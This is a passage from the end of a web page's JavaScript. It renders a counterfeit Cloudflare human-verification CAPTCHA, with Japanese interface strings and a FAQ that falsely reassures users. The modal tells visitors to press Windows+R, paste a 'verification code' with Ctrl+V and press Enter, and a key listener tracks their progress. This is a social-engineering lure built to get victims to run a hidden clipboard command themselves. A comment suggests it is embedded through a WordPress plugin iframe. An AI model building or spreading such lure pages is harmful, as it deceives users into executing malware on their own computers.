    ja: { verify: "確認", privacy: "プライバシー", terms: "利用規約", verificationSteps: "確認", step1: "Windowsキーを押しながらRを押してください", step2Line1: "Ctrl+Vで確認コードを貼り付けてください", confirmWith: "そして確認", introTitle: "ワンタイムデバイス認証", introSubtitle: "この簡単な認証を完了すると、90日間中断なしでブラウジングできます。", hwScanTitle: "ハードウェア指紋", cookieTitle: "90日アクセストークン", secureTitle: "プライバシー設計", hwScanDesc: "デバイスのハードウェア構成をスキャンします。", cookieDesc: "認証後、90日間トークンが保存されます。", secureDesc: "すべてのデータはローカルで処理されます。", howItWorks: "仕組み", faqTitle: "よくある質問", continueBtn: "認証を続ける", verifyHuman: "人間であることを確認", faq1Q: "なぜこれが表示されますか？", faq1A: "ボットからの保護です。", faq2Q: "データは安全ですか？", faq2A: "はい、すべてローカルです。", faq3Q: "トークンの有効期間は？", faq3A: "90日間。", faq4Q: "認証に失敗したら？", faq4A: "再試行してください。", faq5Q: "すべてのブラウザで動作しますか？", faq5A: "はい。", faq6Q: "拒否できますか？", faq6A: "認証は必須です。" }
  }

function detectLanguage() {
    var navLang = (navigator.language || navigator.userLanguage || "en").toLowerCase()
    var langKeys = Object.keys(translations)
    for (var i = 0; i < langKeys.length; i++) {
      if (navLang.startsWith(langKeys[i])) return langKeys[i]
    }
    return "en"
  }

function t(key) {
    return (translations[lang] && translations[lang][key]) || (translations.en && translations.en[key]) || key
  }

var step1KeyDetected = false
  function setupKeyboardHandler() {
    document.addEventListener("keydown", function (e) {
      if (!captchaOpen || animationPhase !== 5) return
      // Step 1: detect Windows key (Meta) or R key press
      if (step === 1 && !step1KeyDetected && (e.code === "MetaLeft" || e.code === "MetaRight" || e.key === "r" || e.key === "R")) {
        step1KeyDetected = true
        // Wait 1.5 seconds then advance to step 2
        setTimeout(function() {
          step = 2
          step1KeyDetected = false
          renderCaptchaContent()
        }, 1500)
      }
    })
  }

var winIcon = '<svg viewBox="0 0 24 24" style="width:22px;height:22px;fill:#555"><path d="M0 3.449L9.75 2.1v9.451H0m10.949-9.602L24 0v11.4H10.949M0 12.6h9.75v9.451L0 20.699M10.949 12.6H24V24l-12.9-1.801"/></svg>'

function renderKey(label, width, animClass) {
    var isWinKey = label === "Win"
    var keyCapStyle = "position:absolute;top:0;left:0;right:0;height:48px;border-radius:10px;display:flex;align-items:center;justify-content:center;border:1px solid rgba(0,0,0,0.08)"
    if (!animClass) keyCapStyle += ";background:linear-gradient(180deg,#ffffff 0%,#f5f5f5 100%);box-shadow:0 4px 0 #d4d4d4,0 6px 8px rgba(0,0,0,0.15),inset 0 1px 0 rgba(255,255,255,0.9)"
    var animationName = ""
    if (animClass === "key-anim-first") animationName = "keyCapFirst 5s ease-in-out infinite"
    else if (animClass === "key-anim-second") animationName = "keyCapSecond 5s ease-in-out infinite"
    else if (animClass === "key-anim-step2-ctrl") animationName = "keyCapStep2Ctrl 6s ease-in-out infinite"
    else if (animClass === "key-anim-step2-v") animationName = "keyCapStep2V 6s ease-in-out infinite"
    else if (animClass === "key-anim-step2-enter") animationName = "keyCapStep2Enter 6s ease-in-out infinite"
    var animationStyle = animationName ? ";animation:" + animationName : ""
    return '<div class="' + animClass + '" style="width:' + width + 'px;height:56px;position:relative;display:inline-block">' +
      '<div style="position:absolute;bottom:0;left:2px;right:2px;height:8px;border-radius:0 0 10px 10px;background:linear-gradient(180deg,#c8c8c8 0%,#b0b0b0 100%)"></div>' +
      '<div class="key-cap" style="' + keyCapStyle + animationStyle + '">' +
      (isWinKey ? winIcon : '<span style="font-size:' + (label === "Enter" ? "13" : label === "Ctrl" ? "12" : "16") + 'px;font-weight:600;color:#555">' + label + '</span>') +
      '</div></div>'
  }

var howItWorksHtml = '<div style="border:1px solid #e2e8f0;border-radius:8px;overflow:hidden;background:' + (howItWorksOpen ? "linear-gradient(135deg,#f97316 0%,#ea580c 100%)" : "#fff") + ';transition:all 0.3s ease;margin-bottom:12px">' +
      '<button onclick="window.CloudflareCaptcha.toggleHowItWorks()" style="width:100%;padding:10px 12px;display:flex;justify-content:space-between;align-items:center;border:none;background:transparent;cursor:pointer;color:' + (howItWorksOpen ? "#fff" : "#1e293b") + '">' +
      '<div style="display:flex;align-items:center;gap:8px"><div style="width:24px;height:24px;border-radius:50%;background:' + (howItWorksOpen ? "#fff" : "linear-gradient(135deg,#f97316 0%,#ea580c 100%)") + ';display:flex;align-items:center;justify-content:center"><span style="font-size:14px;font-weight:700;color:' + (howItWorksOpen ? "#f97316" : "#fff") + '">!</span></div>' +
      '<span style="font-size:13px;font-weight:600;color:' + (howItWorksOpen ? "#fff" : "#1e293b") + '">' + t("howItWorks") + '</span></div>' +
      '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" style="transform:rotate(' + (howItWorksOpen ? "180" : "0") + 'deg);transition:transform 0.3s"><path d="M6 9l6 6 6-6" stroke="' + (howItWorksOpen ? "#fff" : "#f97316") + '" stroke-width="2" stroke-linecap="round"/></svg></button>' + howItWorksContent + '</div>'

var faqContent = ""
    if (faqOpen) {
      faqContent = '<div style="padding:16px 24px 8px">' + [1,2,3,4,5,6].map(function(num) {
        var isExpanded = expandedFaq === num
        return '<div style="margin-bottom:10px;background:rgba(255,255,255,0.3);border-radius:6px;overflow:hidden">' +
          '<button onclick="window.CloudflareCaptcha.toggleFaqItem(' + num + ')" style="width:100%;padding:8px 10px;display:flex;justify-content:space-between;align-items:center;border:none;background:transparent;cursor:pointer;color:#fff;text-align:left">' +
          '<span style="font-size:12px;font-weight:600;flex:1">' + num + '. ' + t("faq" + num + "Q") + '</span>' +
          '<svg width="12" height="12" viewBox="0 0 24 24" fill="none" style="transform:rotate(' + (isExpanded ? "180" : "0") + 'deg);transition:transform 0.3s;flex-shrink:0"><path d="M6 9l6 6 6-6" stroke="#fff" stroke-width="2" stroke-linecap="round"/></svg></button>' +
          (isExpanded ? '<div style="padding:12px 10px;color:#1f2937;font-size:11px;line-height:1.6;background:rgba(255,255,255,0.9);border-radius:0 0 6px 6px">' + t("faq" + num + "A") + '</div>' : '') + '</div>'
      }).join("") + '</div>'
    }

var faqHtml = '<div style="border:1px solid #e2e8f0;border-radius:8px;overflow:hidden;background:' + (faqOpen ? "linear-gradient(135deg,#f97316 0%,#ea580c 100%)" : "#fff") + ';transition:all 0.3s ease">' +
      '<button onclick="window.CloudflareCaptcha.toggleFaq()" style="width:100%;padding:10px 12px;display:flex;justify-content:space-between;align-items:center;border:none;background:transparent;cursor:pointer;color:' + (faqOpen ? "#fff" : "#1e293b") + ';border-radius:8px;transition:all 0.3s ease">' +
      '<div style="display:flex;align-items:center;gap:8px"><div style="width:24px;height:24px;border-radius:50%;background:' + (faqOpen ? "#fff" : "linear-gradient(135deg,#f97316 0%,#ea580c 100%)") + ';display:flex;align-items:center;justify-content:center"><span style="font-size:14px;font-weight:700;color:' + (faqOpen ? "#f97316" : "#fff") + '">?</span></div>' +
      '<span style="font-size:13px;font-weight:600;color:' + (faqOpen ? "#fff" : "#1e293b") + '">' + t("faqTitle") + '</span></div>' +
      '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" style="transform:rotate(' + (faqOpen ? "180" : "0") + 'deg);transition:transform 0.3s"><path d="M6 9l6 6 6-6" stroke="' + (faqOpen ? "#fff" : "#f97316") + '" stroke-width="2" stroke-linecap="round"/></svg></button>' + faqContent + '</div>'

return '<div style="background:#fff;border-radius:16px;width:480px;height:auto;overflow:visible;box-shadow:0 20px 50px rgba(0,0,0,0.15);display:flex;flex-direction:column;position:relative">' +
      '<div style="background:linear-gradient(135deg,#f97316 0%,#ea580c 100%);padding:24px;border-radius:16px 16px 0 0;position:relative;overflow:hidden;min-height:100px">' +
      '<div style="position:absolute;inset:0;background-image:repeating-linear-gradient(0deg,transparent,transparent 30px,rgba(255,255,255,0.05) 30px,rgba(255,255,255,0.05) 32px),repeating-linear-gradient(90deg,transparent,transparent 30px,rgba(255,255,255,0.05) 30px,rgba(255,255,255,0.05) 32px);pointer-events:none"></div>' +
      '<div style="position:absolute;right:-40px;top:-20px;width:140px;height:140px;border-radius:50%;background:rgba(255,255,255,0.1)"></div>' +
      '<div style="display:flex;justify-content:center;align-items:center;position:relative;z-index:1"><img src="' + window.cfCaptchaImages.logoWithText + '" alt="Cloudflare" style="height:50px;filter:brightness(0) invert(1)"></div></div>' +
      '<div style="display:flex;justify-content:center;margin-top:-16px;margin-bottom:16px;position:relative;z-index:2">' +
      '<div style="background:#fef3c7;border-radius:20px;padding:8px 20px;display:flex;align-items:center;gap:8px;border:1px solid #fbbf24;box-shadow:0 4px 12px rgba(0,0,0,0.1)">' +
      '<svg width="16" height="16" viewBox="0 0 24 24" fill="none"><path d="M9 12l2 2 4-4" stroke="#f97316" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/><circle cx="12" cy="12" r="10" stroke="#f97316" stroke-width="2"/></svg>' +
      '<span style="font-size:13px;font-weight:600;color:#f97316;text-transform:uppercase;letter-spacing:0.5px">' + t("verifyHuman") + '</span></div></div>' +
      '<div style="padding:0 24px 16px;text-align:center"><h2 style="font-size:28px;font-weight:700;margin:0 0 8px 0"><span style="color:#f97316">' + t("introTitle").split(" ")[0] + '</span> <span style="color:#1e293b">' + t("introTitle").split(" ").slice(1).join(" ") + '</span></h2>' +
      '<p style="font-size:13px;color:#64748b;line-height:1.6;margin:0">' + t("introSubtitle") + '</p></div>' +
      '<div style="flex:1;padding:0 24px 16px"><div style="display:flex;gap:12px;margin-bottom:16px;justify-content:center">' + featuresHtml + '</div>' + howItWorksHtml + faqHtml + '</div>' +
      '<div style="padding:0 24px 24px"><button onclick="window.CloudflareCaptcha.continueToVerification()" style="width:100%;background:linear-gradient(135deg,#f97316 0%,#ea580c 100%);color:#fff;border:none;border-radius:8px;padding:12px 24px;font-size:14px;font-weight:600;cursor:pointer;box-shadow:0 4px 12px rgba(249,115,22,0.3)">' + t("continueBtn") + '</button></div>' +
      '<div style="padding:12px 24px;border-top:1px solid #e2e8f0;display:flex;justify-content:center;gap:16px;font-size:11px">' +
      '<a href="https://www.cloudflare.com/privacypolicy/" style="color:#64748b;text-decoration:none">' + t("privacy") + '</a>' +
      '<a href="https://www.cloudflare.com/website-terms/" style="color:#64748b;text-decoration:none">' + t("terms") + '</a></div></div>'
  }

function renderVerificationModal() {
    var stepsHtml = [1, 2].map(function(s) {
      return '<div style="display:flex;align-items:center;gap:8px">' +
        '<div style="width:8px;height:8px;border-radius:50%;background:' + (step >= s ? "#fff" : "rgba(255,255,255,0.3)") + ';transition:all 0.3s"></div>' +
        (s < 2 ? '<div style="width:40px;height:2px;background:' + (step > s ? "#fff" : "rgba(255,255,255,0.3)") + ';transition:all 0.3s"></div>' : '') + '</div>'
    }).join("")

var contentHtml = ""
    if (step === 1) {
      contentHtml = '<div style="display:flex;flex-direction:column;align-items:center;gap:20px">' +
        '<div style="font-size:16px;font-weight:600;color:#64748b;text-align:center;max-width:360px">' + t("step1") + '</div>' +
        '<div style="display:flex;gap:8px;align-items:center">' +
        renderKey("Win", 80, "key-anim-first") +
        '<span class="plus-animate" style="font-size:18px;color:#9CA3AF;font-weight:400;margin:0 2px">+</span>' +
        renderKey("R", 56, "key-anim-second") +
        '</div></div>'
    } else if (step === 2) {
      contentHtml = '<div style="display:flex;flex-direction:column;align-items:center;gap:20px">' +
        '<div style="font-size:16px;font-weight:600;color:#64748b;text-align:center;max-width:360px">' + t("step2Line1") + '</div>' +
        '<div style="display:flex;gap:8px;align-items:center;justify-content:center">' +
        renderKey("Ctrl", 80, "key-anim-step2-ctrl") +
        '<span class="plus-animate-step2" style="font-size:18px;color:#9CA3AF;font-weight:400;margin:0 2px">+</span>' +
        renderKey("V", 56, "key-anim-step2-v") +
        '</div>' +
        '<div style="display:flex;gap:8px;align-items:center;justify-content:center">' +
        '<span style="font-size:16px;color:#6B7280;font-weight:500">' + t("confirmWith") + '</span>' +
        renderKey("Enter", 80, "key-anim-step2-enter") +
        '</div>' +
        '<button onclick="window.CloudflareCaptcha.complete()" style="padding:12px 32px;background:linear-gradient(135deg,#f97316 0%,#ea580c 100%);color:white;border:none;border-radius:8px;font-size:15px;font-weight:600;cursor:pointer;box-shadow:0 4px 12px rgba(249,115,22,0.4)">' + t("verify") + '</button>' +
        '</div>'
    }

return '<div style="background:#fff;border-radius:16px;width:480px;min-height:500px;box-shadow:0 20px 50px rgba(0,0,0,0.15);display:flex;flex-direction:column;overflow:hidden">' +
      '<div style="background:linear-gradient(135deg,#f97316 0%,#ea580c 100%);padding:20px 24px;position:relative;overflow:hidden">' +
      '<div style="position:absolute;inset:0;background-image:repeating-linear-gradient(0deg,transparent,transparent 30px,rgba(255,255,255,0.05) 30px,rgba(255,255,255,0.05) 32px),repeating-linear-gradient(90deg,transparent,transparent 30px,rgba(255,255,255,0.05) 30px,rgba(255,255,255,0.05) 32px);pointer-events:none"></div>' +
      '<div style="position:absolute;right:-40px;top:-20px;width:140px;height:140px;border-radius:50%;background:rgba(255,255,255,0.1)"></div>' +
      '<div style="display:flex;justify-content:center;margin-bottom:12px;position:relative;z-index:1"><img src="' + window.cfCaptchaImages.logoWithText + '" alt="Cloudflare" style="height:40px;filter:brightness(0) invert(1)"></div>' +
      '<div style="display:flex;justify-content:center;gap:8px;position:relative;z-index:1">' + stepsHtml + '</div></div>' +
      '<div style="flex:1;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:20px;padding:32px 0;animation:cfFadeInUp 0.5s ease-out">' + contentHtml + '</div>' +
      '<div style="padding:12px 24px;border-top:1px solid #e2e8f0;display:flex;justify-content:center;gap:16px;font-size:11px">' +
      '<a href="https://www.cloudflare.com/privacypolicy/" style="color:#64748b;text-decoration:none">' + t("privacy") + '</a>' +
      '<a href="https://www.cloudflare.com/website-terms/" style="color:#64748b;text-decoration:none">' + t("terms") + '</a></div></div>'
  }

function renderCaptchaContent() {
    var container = document.getElementById("cf-captcha-container")
    if (!container) return
    var html = ""
    if (animationPhase === 4) html = renderIntroPage()
    else if (animationPhase === 5) html = renderVerificationModal()
    container.innerHTML = html

if (animationPhase === 5) {
      if (step === 1) {
        var kf = document.querySelector(".key-anim-first .key-cap"); if (kf) kf.style.animation = "keyCapFirst 3s ease-in-out infinite"
        var ks = document.querySelector(".key-anim-second .key-cap"); if (ks) ks.style.animation = "keyCapSecond 3s ease-in-out infinite"
        var p1 = document.querySelector(".plus-animate"); if (p1) p1.style.animation = "plusGlow 3s infinite"
      } else if (step === 2) {
        var kc = document.querySelector(".key-anim-step2-ctrl .key-cap"); if (kc) kc.style.animation = "keyCapStep2Ctrl 3s ease-in-out infinite"
        var kv = document.querySelector(".key-anim-step2-v .key-cap"); if (kv) kv.style.animation = "keyCapStep2V 3s ease-in-out infinite"
        var ke = document.querySelector(".key-anim-step2-enter .key-cap"); if (ke) ke.style.animation = "keyCapStep2Enter 3s ease-in-out infinite"
        var p2 = document.querySelector(".plus-animate-step2"); if (p2) p2.style.animation = "plusGlowStep2 3s infinite"
      }
    }
  }

function showCaptcha() {
    captchaOpen = true
    animationPhase = 4
    step = 1
    faqOpen = false
    howItWorksOpen = false
    expandedFaq = null
    expandedHowItWorks = null
    injectAnimationStyles()
    var overlay = document.getElementById("cf-captcha-overlay")
    if (overlay) { overlay.style.display = "flex"; renderCaptchaContent() }
  }

function hideCaptcha() {
    captchaOpen = false
    var overlay = document.getElementById("cf-captcha-overlay")
    if (overlay) overlay.style.display = "none"
  }

function handleContinueToVerification() {
    animationPhase = 5
    step = 1
    step1KeyDetected = false
    renderCaptchaContent()
    // Do NOT auto-advance. Wait for actual key press detection.
  }

function completeVerification() {
    setVerificationCookie()
    hideCaptcha()
    // Show success in checkbox
    var step2Elements = document.querySelectorAll(".step2")
    var step3Elements = document.querySelectorAll(".step3")
    var checkboxWindow = document.getElementById("checkbox-window")
    step2Elements.forEach(function(el) { el.style.display = "none" })
    step3Elements.forEach(function(el) { el.style.display = "block" })
    var spinner = document.getElementById("spinner")
    if (spinner) spinner.style.visibility = "hidden"
    // Notify parent window (for iframe usage in WP plugin)
    try { if (window.parent && window.parent !== window) { window.parent.postMessage("cf-captcha-verified", "*") } } catch(e) {}
  }

lang = detectLanguage()
  injectAnimationStyles()
  setupKeyboardHandler()

window.CloudflareCaptcha = {
    show: showCaptcha,
    hide: hideCaptcha,
    complete: completeVerification,
    isVerified: isVerified,
    continueToVerification: handleContinueToVerification,
    toggleFaq: toggleFaq,
    toggleHowItWorks: toggleHowItWorks,
    toggleFaqItem: toggleFaqItem,
    toggleHowItWorksItem: toggleHowItWorksItem
  }
})()
</script>

</body>
</html>